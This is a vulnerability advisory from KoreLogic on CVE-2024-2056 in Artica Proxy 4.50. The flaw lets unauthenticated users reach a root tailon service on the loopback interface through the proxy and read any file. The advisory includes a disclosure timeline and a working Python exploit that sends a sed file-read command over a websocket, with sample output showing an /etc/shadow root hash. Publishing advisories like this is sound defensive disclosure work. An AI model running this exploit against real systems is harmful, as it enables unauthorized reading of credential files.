KL-001-2024-004: Artica Proxy Loopback Services Remotely Accessible Unauthenticated
Title: Artica Proxy Loopback Services Remotely Accessible Unauthenticated
Advisory ID: KL-001-2024-004
Publication Date: 2024.03.05
Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2024-004.txt
1. Vulnerability Details
      Affected Vendor: Artica
      Affected Product: Artica Proxy
      Affected Version: 4.50
      Platform: Debian 10 LTS
      CWE Classification: CWE-288: Authentication Bypass Using an
                          Alternate Path or Channel, CWE-552: Files
                          or Directories Accessible to External
                          Parties
      CVE ID: CVE-2024-2056
2. Vulnerability Description
     Services that are running and bound to the loopback
     interface on the Artica Proxy are accessible through
     the proxy service. In particular, the "tailon" service is
     running as the root user, is bound to the loopback interface,
     and is listening on TCP port 7050. Security issues associated
     with exposing this network service are documented at
     https://github.com/gvalkov/tailon#security. Using the tailon
     service, the contents of any file on the Artica Proxy can be
     viewed.
3. Technical Description
      root@artica-450:~# netstat -anop | grep LIST | egrep '127.0.|::' | awk '{ print $4 "   " $7 }'
      127.0.0.1:57585         <PID>/(squid-1)
      127.0.0.1:8562          <PID>/nginx:
      127.0.0.1:884           <PID>/sshd
      127.0.0.55:53           <PID>/dnscache
      127.0.0.1:9143          <PID>/[authlog]
      127.0.0.1:5432          <PID>/postgres
      127.0.0.1:2521          <PID>/artica-smtpd
      127.0.0.1:2874          <PID>/monit
      127.0.0.1:19102         <PID>/[cache-tail]
      127.0.0.1:3333          <PID>/go-shield-serv
      127.0.0.1:389           <PID>/slapd
      127.0.0.1:3334          <PID>/go-exec
      127.0.0.1:7050          <PID>/tailon
      :::4949                 <PID>/perl
      :::9025                 <PID>/[error-page]
      root@artica-450:~# ps -efww | grep tailon
      root      2765     1  0 Nov07 ?        00:01:29 /sbin/tailon --allow-download --config /etc/tailon/config.toml 
alias=Syslog,group=System,/var/log/syslog alias=Daemons,group=Services,/var/log/*.log 
alias=Proxy,group=Service-Proxy,/var/log/squid/*.log alias=Nginx,group=Service-Web,/var/log/nginx/*.log
4. Mitigation and Remediation Recommendation
      No response from vendor; no remediation available.
5. Credit
      This vulnerability was discovered by Jim Becher and Jaggar
      Henry of KoreLogic, Inc.
6. Disclosure Timeline
      2023.12.18 - KoreLogic requests vulnerability contact and
                   secure communication method from Artica.
      2023.12.18 - Artica Support issues automated ticket #1703011342
                   promising follow-up from a human.
      2024.01.10 - KoreLogic again requests vulnerability contact and
                   secure communication method from Artica.
      2024.01.10 - KoreLogic mail daemon receives SMTP 554 5.7.1 from
                   mail.articatech.com with response
                   "Client host rejected: Go Away!"
      2024.01.11 - KoreLogic requests vulnerability contact and
                   secure communication method via
                   https://www.articatech.com/ 'Contact Us' web form.
      2024.01.23 - KoreLogic requests CVE from MITRE.
      2024.01.23 - MITRE issues automated ticket #1591692 promising
                   follow-up from a human.
      2024.02.01 - 30 business days have elapsed since KoreLogic
                   attempted to contact the vendor.
      2024.02.06 - KoreLogic requests update on CVE from MITRE.
      2024.02.15 - KoreLogic requests update on CVE from MITRE.
      2024.02.22 - KoreLogic reaches out to alternate CNA for
                   CVE identifiers.
      2024.02.26 - 45 business days have elapsed since KoreLogic
                   attempted to contact the vendor.
      2024.02.29 - Vulnerability details presented to AHA!
                   (takeonme.org) by proxy.
      2024.03.01 - AHA! issues CVE-2024-2056 to track this
                   vulnerability.
      2024.03.05 - KoreLogic public disclosure.
7. Proof of Concept
      $ python3 exploit.py 192.168.2.139 /etc/shadow
      1701282189.746     35 192.168.2.99 TCP_TUNNEL/200 3496 CONNECT 0.0.0.0:7050 - HIER_DIRECT/0.0.0.0:7050 - 
mac=\\\"e0:d5:5e:0a:d3:24\\\" category:%200%0D%0Acategory-name:%20Unknown%0D%0Aclog:%20cinfo:0-Unknown;%0D%0A 
exterr=\\\"-|-\\\"
root:$6$Pvb1ivrg5oo.a/om$xtRvfpBBSZgPt/fDjHzw9k9e.jxWaY.LPOqnqHJcSBuQMxtjtG6pBBMMf1Z6D4jtN6kDSB3h5FufJ9DuXv.7R0:19507:0:99999:7:::
      daemon:*:19507:0:99999:7:::
      bin:*:19507:0:99999:7:::
      sys:*:19507:0:99999:7:::
      sync:*:19507:0:99999:7:::
      games:*:19507:0:99999:7:::
      man:*:19507:0:99999:7:::
      ...
      ...
      ### exploit.py
      import re
      import sys
      import json
      import websocket
      """
      run `pip install websocket-client` before executing.
      """
      ARTICA_PROXY_IP = sys.argv[1] if len(sys.argv) >= 2 else '172.17.0.1'
      FILE_TO_READ    = sys.argv[2] if len(sys.argv) >= 3 else '/etc/passwd'
      WEBSOCKET_URI   = 'ws://0.0.0.0:7050/tailon/ws/1337/korelogic/websocket'
      payload = {
          'command': 'sed',
          'script':  f'r {FILE_TO_READ}',
          'entry': {
              'path':   '/var/log/squid/access.log',
              'alias':  'Proxy/access.log',
          },
          'nlines': 1
      }
      websocket_message = json.dumps([json.dumps(payload)])
      ws = websocket.WebSocket()
      ws.connect(WEBSOCKET_URI, http_proxy_host=ARTICA_PROXY_IP, http_proxy_port='8085', proxy_type='http')
      ws.send(websocket_message)
      reading = True
      while reading:
          data = re.search(r'a\["\[\\"o\\",\\"(.*)\\"]"]$', ws.recv())
          if data: print(data.group(1))
      ws.close()
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KoreLogic, Inc. and are licensed under a Creative Commons
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